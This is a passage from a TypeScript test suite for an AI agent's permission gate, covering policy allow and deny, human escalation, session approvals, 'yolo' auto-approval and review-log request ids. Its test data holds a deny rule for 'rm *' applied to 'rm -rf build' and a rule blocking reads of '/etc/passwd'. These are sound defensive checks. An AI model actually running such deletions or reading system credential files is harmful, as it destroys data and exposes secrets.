expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
surface: "read",
|
||||
value: "read",
|
||||
result: "allow",
|
||||
resolution: "policy_allow",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("returns block and emits policy_deny when policy is deny", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
result: "deny",
|
||||
resolution: "policy_deny",
|
||||
}),
|
||||
);
|
||||
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
|
||||
"permission_request.blocked",
|
||||
expect.objectContaining({
|
||||
resolution: "policy_denied",
|
||||
decidedBy: {
|
||||
kind: "rule",
|
||||
surface: "read",
|
||||
pattern: "*",
|
||||
origin: "builtin",
|
||||
},
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("records which rule denied a blocked request", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "rm *" }),
|
||||
});
|
||||
|
||||
await runner.run(
|
||||
makeDescriptor({
|
||||
surface: "bash",
|
||||
payload: makePromptPayload({
|
||||
kind: "bash",
|
||||
request: {
|
||||
...makePromptPayload().request,
|
||||
surface: "bash",
|
||||
toolName: "bash",
|
||||
value: "rm -rf build",
|
||||
matchedPattern: "rm *",
|
||||
},
|
||||
}),
|
||||
}),
|
||||
null,
|
||||
);
|
||||
|
||||
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
|
||||
"permission_request.blocked",
|
||||
expect.objectContaining({ surface: "bash", matchedPattern: "rm *" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("returns allow and emits session_approved on session hit", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({
|
||||
source: "session",
|
||||
matchedPattern: "git *",
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(
|
||||
makeDescriptor({
|
||||
surface: "bash",
|
||||
input: { command: "git status" },
|
||||
decision: { surface: "bash", value: "git status" },
|
||||
}),
|
||||
null,
|
||||
);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
|
||||
"permission_request.session_approved",
|
||||
expect.objectContaining({
|
||||
resolution: "session_approved",
|
||||
sessionApprovalPattern: "git *",
|
||||
decidedBy: {
|
||||
kind: "session_approval",
|
||||
surface: "bash",
|
||||
pattern: "git *",
|
||||
},
|
||||
}),
|
||||
);
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
resolution: "session_approved",
|
||||
matchedPattern: "git *",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("returns allow and emits auto_approved on a yolo-origin allow without prompting", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({
|
||||
state: "allow",
|
||||
origin: "yolo",
|
||||
matchedPattern: "*",
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.escalate).not.toHaveBeenCalled();
|
||||
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
|
||||
"permission_request.auto_approved",
|
||||
expect.objectContaining({
|
||||
resolution: "auto_approved",
|
||||
decidedBy: { kind: "yolo", pattern: "*" },
|
||||
}),
|
||||
);
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
result: "allow",
|
||||
resolution: "auto_approved",
|
||||
origin: "yolo",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("preserves the synthetic sentinel that raised a yolo-granted ask", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({
|
||||
state: "ask",
|
||||
matchedPattern: "<opaque-bash-wrapper>",
|
||||
}),
|
||||
isYoloEnabled: () => true,
|
||||
});
|
||||
|
||||
await runner.run(makeDescriptor(), null);
|
||||
|
||||
// Which sentinel raised the ask is what makes a yolo grant over a
|
||||
// synthesized ask legible; "yolo allowed it" alone does not say why it
|
||||
// was asked.
|
||||
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
|
||||
"permission_request.auto_approved",
|
||||
expect.objectContaining({
|
||||
decidedBy: { kind: "yolo", pattern: "<opaque-bash-wrapper>" },
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("auto-approves a residual synthetic ask under yolo without prompting", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
yolo: true,
|
||||
resolveResult: makeCheckResult({
|
||||
state: "ask",
|
||||
source: "bash",
|
||||
toolName: "bash",
|
||||
matchedPattern: "<indirection-bash-wrapper>",
|
||||
}),
|
||||
});
|
||||
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.escalate).not.toHaveBeenCalled();
|
||||
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
|
||||
"permission_request.auto_approved",
|
||||
expect.objectContaining({ resolution: "auto_approved" }),
|
||||
);
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
result: "allow",
|
||||
resolution: "auto_approved",
|
||||
origin: "yolo",
|
||||
matchedPattern: "<indirection-bash-wrapper>",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("blocks an explicit deny under yolo without prompting", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
yolo: true,
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "rm *" }),
|
||||
});
|
||||
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
expect(deps.escalate).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("reads the yolo setting per run, so a mid-session toggle takes effect", async () => {
|
||||
let yolo = false;
|
||||
const { runner, deps } = makeGateRunner({
|
||||
isYoloEnabled: () => yolo,
|
||||
resolveResult: makeCheckResult({
|
||||
state: "ask",
|
||||
matchedPattern: "<unparseable-bash-command>",
|
||||
}),
|
||||
});
|
||||
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(deps.escalate).toHaveBeenCalledTimes(1);
|
||||
|
||||
yolo = true;
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(deps.escalate).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("returns allow and emits user_approved when ask + user approves", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: true,
|
||||
state: "approved",
|
||||
decidedBy: DECIDED_BY_HUMAN,
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
result: "allow",
|
||||
resolution: "user_approved",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("returns allow, emits user_approved_for_session, and records session rule on approved_for_session", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: true,
|
||||
state: "approved_for_session",
|
||||
decidedBy: DECIDED_BY_HUMAN,
|
||||
}),
|
||||
});
|
||||
const descriptor = makeDescriptor({
|
||||
sessionApproval: SessionApproval.single("read", "*"),
|
||||
});
|
||||
const result = await runner.run(descriptor, null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
resolution: "user_approved_for_session",
|
||||
}),
|
||||
);
|
||||
expect(deps.recordSessionApproval).toHaveBeenCalledWith(
|
||||
SessionApproval.single("read", "*"),
|
||||
);
|
||||
});
|
||||
|
||||
it("calls recordSessionApproval once with the full SessionApproval when sessionApproval has multiple patterns", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: true,
|
||||
state: "approved_for_session",
|
||||
decidedBy: DECIDED_BY_HUMAN,
|
||||
}),
|
||||
});
|
||||
const approval = SessionApproval.multiple("external_directory", [
|
||||
"/outside/a/*",
|
||||
"/outside/b/*",
|
||||
]);
|
||||
const descriptor = makeDescriptor({ sessionApproval: approval });
|
||||
const result = await runner.run(descriptor, null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.recordSessionApproval).toHaveBeenCalledTimes(1);
|
||||
expect(deps.recordSessionApproval).toHaveBeenCalledWith(approval);
|
||||
});
|
||||
|
||||
it("returns block and emits user_denied when ask + user denies", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: false,
|
||||
state: "denied",
|
||||
decidedBy: DECIDED_BY_HUMAN,
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
result: "deny",
|
||||
resolution: "user_denied",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("returns block and emits confirmation_unavailable when ask + no UI", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: false,
|
||||
state: "denied",
|
||||
confirmationUnavailable: true,
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
result: "deny",
|
||||
resolution: "confirmation_unavailable",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("emits auto_approved resolution when decision has autoApproved flag", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: true,
|
||||
state: "approved",
|
||||
autoApproved: true,
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
resolution: "auto_approved",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("uses preResolved.state instead of calling resolve", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const descriptor = makeDescriptor({
|
||||
preResolved: { state: "deny" },
|
||||
});
|
||||
const result = await runner.run(descriptor, null);
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
expect(deps.resolve).not.toHaveBeenCalled();
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
resolution: "policy_deny",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("uses preResolved.state allow without calling resolve", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const descriptor = makeDescriptor({
|
||||
preResolved: { state: "allow" },
|
||||
});
|
||||
const result = await runner.run(descriptor, null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.resolve).not.toHaveBeenCalled();
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
resolution: "policy_allow",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("passes agentName to resolve and decision event", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const result = await runner.run(makeDescriptor(), "test-agent");
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.resolve).toHaveBeenCalledWith({
|
||||
kind: "tool",
|
||||
surface: "read",
|
||||
input: {},
|
||||
agentName: "test-agent",
|
||||
});
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
agentName: "test-agent",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("escalates a minted request id, not the tool call id", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(deps.escalate).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
requestId: expect.stringMatching(/^perm-/),
|
||||
// The host's id keeps flowing as the join back to the Pi transcript.
|
||||
toolCallId: "tc-1",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("forwards the descriptor's sessionApproval suggestion on escalate", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
});
|
||||
const approval = SessionApproval.single("bash", "git *");
|
||||
await runner.run(makeDescriptor({ sessionApproval: approval }), null);
|
||||
expect(deps.escalate).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
sessionApproval: { surface: "bash", patterns: ["git *"] },
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("omits sessionApproval from escalate details when the descriptor has none", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(deps.escalate).toHaveBeenCalledWith(
|
||||
expect.not.objectContaining({ sessionApproval: expect.anything() }),
|
||||
);
|
||||
});
|
||||
|
||||
it("does not call recordSessionApproval when user approves once (no sessionApproval)", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: true,
|
||||
state: "approved",
|
||||
decidedBy: DECIDED_BY_HUMAN,
|
||||
}),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(deps.recordSessionApproval).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("uses preCheck result directly instead of calling resolve", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const descriptor = makeDescriptor({
|
||||
preCheck: makeCheckResult({
|
||||
state: "deny",
|
||||
origin: "global",
|
||||
matchedPattern: "rm *",
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(descriptor, null);
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
expect(deps.resolve).not.toHaveBeenCalled();
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
resolution: "policy_deny",
|
||||
origin: "global",
|
||||
matchedPattern: "rm *",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("does not call recordSessionApproval when user approves for session but no sessionApproval on descriptor", async () => {
|
||||
const { runner, deps } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: true,
|
||||
state: "approved_for_session",
|
||||
decidedBy: DECIDED_BY_HUMAN,
|
||||
}),
|
||||
});
|
||||
// No sessionApproval on descriptor
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(deps.recordSessionApproval).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
describe("agent-facing denial rendering", () => {
|
||||
it("renders the deny reason from the descriptor's payload", async () => {
|
||||
const { runner } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
});
|
||||
const result = await runner.run(
|
||||
makeDescriptor({
|
||||
payload: makePromptPayload({
|
||||
request: {
|
||||
...makePromptPayload().request,
|
||||
surface: "read",
|
||||
toolName: "read",
|
||||
value: "read",
|
||||
matchedPattern: "*",
|
||||
},
|
||||
}),
|
||||
}),
|
||||
"test-agent",
|
||||
);
|
||||
expect(result.action).toBe("block");
|
||||
if (result.action === "block") {
|
||||
expect(result.reason).toBe(
|
||||
`${EXTENSION_TAG} Denied by policy: 'read' (rule '*').`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("carries an operator's deny-with-reason text on a non-tool surface", async () => {
|
||||
const { runner } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({
|
||||
state: "deny",
|
||||
toolName: "path",
|
||||
matchedPattern: "/etc/*",
|
||||
reason: "system files are off limits",
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(
|
||||
makeDescriptor({
|
||||
surface: "path",
|
||||
payload: makePromptPayload({
|
||||
kind: "path",
|
||||
request: {
|
||||
...makePromptPayload().request,
|
||||
surface: "path",
|
||||
toolName: "read",
|
||||
value: "/etc/passwd",
|
||||
matchedPattern: "/etc/*",
|
||||
},
|
||||
}),
|
||||
}),
|
||||
null,
|
||||
);
|
||||
expect(result.action).toBe("block");
|
||||
if (result.action === "block") {
|
||||
expect(result.reason).toBe(
|
||||
`${EXTENSION_TAG} Denied by policy: 'path' for tool 'read' for path '/etc/passwd' (rule '/etc/*'). Reason: system files are off limits.`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("renders the unavailable reason with the extension tag", async () => {
|
||||
const { runner } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: false,
|
||||
state: "denied",
|
||||
confirmationUnavailable: true,
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result.action).toBe("block");
|
||||
if (result.action === "block") {
|
||||
expect(result.reason).toContain(EXTENSION_TAG);
|
||||
expect(result.reason).toContain("no interactive UI");
|
||||
}
|
||||
});
|
||||
|
||||
it("carries an unavailable decision's denial reason into the block message", async () => {
|
||||
const { runner } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: false,
|
||||
state: "denied",
|
||||
confirmationUnavailable: true,
|
||||
denialReason: "Session 'parent-1' is not serving forwarded requests",
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result.action).toBe("block");
|
||||
if (result.action === "block") {
|
||||
expect(result.reason).toContain(
|
||||
"Reason: Session 'parent-1' is not serving forwarded requests.",
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("renders the user's denial reason with the extension tag", async () => {
|
||||
const { runner } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
escalate: vi.fn().mockResolvedValue({
|
||||
approved: false,
|
||||
state: "denied",
|
||||
denialReason: "too risky",
|
||||
}),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result.action).toBe("block");
|
||||
if (result.action === "block") {
|
||||
expect(result.reason).toContain(EXTENSION_TAG);
|
||||
expect(result.reason).toContain("too risky");
|
||||
}
|
||||
});
|
||||
|
||||
it("never echoes the command into a bash denial", async () => {
|
||||
const { runner } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({
|
||||
state: "deny",
|
||||
toolName: "bash",
|
||||
matchedPattern: "rm *",
|
||||
}),
|
||||
});
|
||||
const command = `cat <<'EOF'\n${"x".repeat(5000)}\nEOF`;
|
||||
const result = await runner.run(
|
||||
makeDescriptor({
|
||||
surface: "bash",
|
||||
payload: makePromptPayload({
|
||||
kind: "bash",
|
||||
request: {
|
||||
...makePromptPayload().request,
|
||||
surface: "bash",
|
||||
toolName: "bash",
|
||||
value: command,
|
||||
matchedPattern: "rm *",
|
||||
},
|
||||
}),
|
||||
}),
|
||||
null,
|
||||
);
|
||||
expect(result.action).toBe("block");
|
||||
if (result.action === "block") {
|
||||
expect(result.reason).toBe(
|
||||
`${EXTENSION_TAG} Denied by policy: 'bash' (rule 'rm *').`,
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// ── GateRunner.run — null and bypass dispatch ──────────────────────────────
|
||||
|
||||
describe("GateRunner.run — null and bypass dispatch", () => {
|
||||
it("returns allow for a null gate", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const result = await runner.run(null, null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.reporter.writeReviewLog).not.toHaveBeenCalled();
|
||||
expect(deps.reporter.emitDecision).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("returns allow for a bypass with no log or decision", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const bypass: GateBypass = {
|
||||
action: "allow",
|
||||
decidedBy: { kind: "infrastructure_read" },
|
||||
};
|
||||
const result = await runner.run(bypass, null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
expect(deps.reporter.writeReviewLog).not.toHaveBeenCalled();
|
||||
expect(deps.reporter.emitDecision).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("fires writeReviewLog for a bypass with a log entry", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const bypass: GateBypass = {
|
||||
action: "allow",
|
||||
decidedBy: { kind: "infrastructure_read" },
|
||||
log: { event: "infra.bypass", details: { path: "/x" } },
|
||||
};
|
||||
await runner.run(bypass, null);
|
||||
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith("infra.bypass", {
|
||||
path: "/x",
|
||||
requestId: expect.stringMatching(/^perm-/),
|
||||
decidedBy: { kind: "infrastructure_read" },
|
||||
});
|
||||
expect(deps.reporter.emitDecision).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("fires emitDecision for a bypass with a decision", async () => {
|
||||
const { runner, deps } = makeGateRunner();
|
||||
const decision = {
|
||||
surface: "path",
|
||||
value: "/x",
|
||||
result: "allow" as const,
|
||||
resolution: "policy_allow" as const,
|
||||
origin: null,
|
||||
agentName: null,
|
||||
matchedPattern: null,
|
||||
};
|
||||
const bypass: GateBypass = {
|
||||
action: "allow",
|
||||
decidedBy: { kind: "infrastructure_read" },
|
||||
decision,
|
||||
};
|
||||
await runner.run(bypass, null);
|
||||
expect(deps.reporter.emitDecision).toHaveBeenCalledWith({
|
||||
...decision,
|
||||
requestId: expect.stringMatching(/^perm-/),
|
||||
});
|
||||
expect(deps.reporter.writeReviewLog).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("routes a descriptor to the gate check logic and returns allow", async () => {
|
||||
const { runner } = makeGateRunner();
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
});
|
||||
|
||||
it("routes a descriptor to the gate check logic and returns block", async () => {
|
||||
const { runner } = makeGateRunner({
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
});
|
||||
const result = await runner.run(makeDescriptor(), null);
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
});
|
||||
});
|
||||
|
||||
// ── GateRunner — request identity ────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Runner over a reporter that records its review-log writes, so a test can
|
||||
* read back the id the runner minted rather than only matching a shape.
|
||||
*/
|
||||
function makeRecordingRunner(
|
||||
overrides: Parameters<typeof makeGateRunner>[0] = {},
|
||||
) {
|
||||
const reviewWrites: Array<{
|
||||
event: string;
|
||||
details: Record<string, unknown>;
|
||||
}> = [];
|
||||
const decisions: PermissionDecisionEvent[] = [];
|
||||
const { runner, deps } = makeGateRunner({
|
||||
...overrides,
|
||||
reporter: {
|
||||
writeReviewLog: (event, details) => {
|
||||
reviewWrites.push({ event, details });
|
||||
},
|
||||
emitDecision: (event) => {
|
||||
decisions.push(event);
|
||||
},
|
||||
},
|
||||
});
|
||||
return { runner, deps, reviewWrites, decisions };
|
||||
}
|
||||
|
||||
describe("GateRunner — request identity", () => {
|
||||
it("carries the minted id on the session-approved review entry", async () => {
|
||||
const { runner, reviewWrites } = makeRecordingRunner({
|
||||
resolveResult: makeCheckResult({
|
||||
source: "session",
|
||||
matchedPattern: "git *",
|
||||
}),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(reviewWrites).toHaveLength(1);
|
||||
expect(reviewWrites[0].event).toBe("permission_request.session_approved");
|
||||
expect(reviewWrites[0].details.requestId).toMatch(/^perm-/);
|
||||
});
|
||||
|
||||
it("carries the minted id on the auto-approved review entry", async () => {
|
||||
const { runner, reviewWrites } = makeRecordingRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
yolo: true,
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(reviewWrites).toHaveLength(1);
|
||||
expect(reviewWrites[0].event).toBe("permission_request.auto_approved");
|
||||
expect(reviewWrites[0].details.requestId).toMatch(/^perm-/);
|
||||
});
|
||||
|
||||
it("carries the minted id on the policy-denied review entry", async () => {
|
||||
const { runner, reviewWrites } = makeRecordingRunner({
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(reviewWrites).toHaveLength(1);
|
||||
expect(reviewWrites[0].event).toBe("permission_request.blocked");
|
||||
expect(reviewWrites[0].details.requestId).toMatch(/^perm-/);
|
||||
});
|
||||
|
||||
it("carries the minted id on a bypass review entry", async () => {
|
||||
const { runner, reviewWrites } = makeRecordingRunner();
|
||||
const bypass: GateBypass = {
|
||||
action: "allow",
|
||||
decidedBy: { kind: "infrastructure_read" },
|
||||
log: {
|
||||
event: "permission_request.infrastructure_auto_allowed",
|
||||
details: { path: "/x" },
|
||||
},
|
||||
};
|
||||
await runner.run(bypass, null);
|
||||
expect(reviewWrites).toHaveLength(1);
|
||||
expect(reviewWrites[0].details.requestId).toMatch(/^perm-/);
|
||||
});
|
||||
|
||||
it("stamps the bypass's own decider onto its review entry", async () => {
|
||||
const { runner, reviewWrites } = makeRecordingRunner();
|
||||
const bypass: GateBypass = {
|
||||
action: "allow",
|
||||
decidedBy: { kind: "infrastructure_read" },
|
||||
log: {
|
||||
event: "permission_request.infrastructure_auto_allowed",
|
||||
details: { path: "/x" },
|
||||
},
|
||||
};
|
||||
|
||||
await runner.run(bypass, null);
|
||||
|
||||
// The gate that short-circuits is the decider; the runner relays what it
|
||||
// states rather than inferring one from the event name.
|
||||
expect(reviewWrites[0].details.decidedBy).toEqual({
|
||||
kind: "infrastructure_read",
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps the tool call id alongside the minted id on the review entry", async () => {
|
||||
const { runner, reviewWrites } = makeRecordingRunner({
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(reviewWrites[0].details.toolCallId).toBe("tc-1");
|
||||
expect(reviewWrites[0].details.requestId).not.toBe("tc-1");
|
||||
});
|
||||
|
||||
it("mints a distinct id for each run, so one tool call's gates stay separable", async () => {
|
||||
const { runner, reviewWrites } = makeRecordingRunner({
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(reviewWrites[0].details.requestId).not.toBe(
|
||||
reviewWrites[1].details.requestId,
|
||||
);
|
||||
});
|
||||
|
||||
it("stamps the session-approved entry and its decision event with one id", async () => {
|
||||
const { runner, reviewWrites, decisions } = makeRecordingRunner({
|
||||
resolveResult: makeCheckResult({
|
||||
source: "session",
|
||||
matchedPattern: "git *",
|
||||
}),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId);
|
||||
});
|
||||
|
||||
it("stamps the auto-approved entry and its decision event with one id", async () => {
|
||||
const { runner, reviewWrites, decisions } = makeRecordingRunner({
|
||||
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
yolo: true,
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId);
|
||||
});
|
||||
|
||||
it("stamps the policy-denied entry and its decision event with one id", async () => {
|
||||
const { runner, reviewWrites, decisions } = makeRecordingRunner({
|
||||
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
});
|
||||
await runner.run(makeDescriptor(), null);
|
||||
expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId);
|
||||
});
|
||||
|
||||
it("stamps a bypass's log entry and decision event with one id", async () => {
|
||||
const { runner, reviewWrites, decisions } = makeRecordingRunner();
|
||||
const bypass: GateBypass = {
|
||||
action: "allow",
|
||||
decidedBy: { kind: "infrastructure_read" },
|
||||
log: {
|
||||
event: "permission_request.infrastructure_auto_allowed",
|
||||
details: { path: "/x" },
|
||||
},
|
||||
decision: {
|
||||
surface: "read",
|
||||
value: "/x",
|
||||
result: "allow",
|
||||
resolution: "infrastructure_auto_allowed",
|
||||
origin: null,
|
||||
agentName: null,
|
||||
matchedPattern: null,
|
||||
},
|
||||
};
|
||||
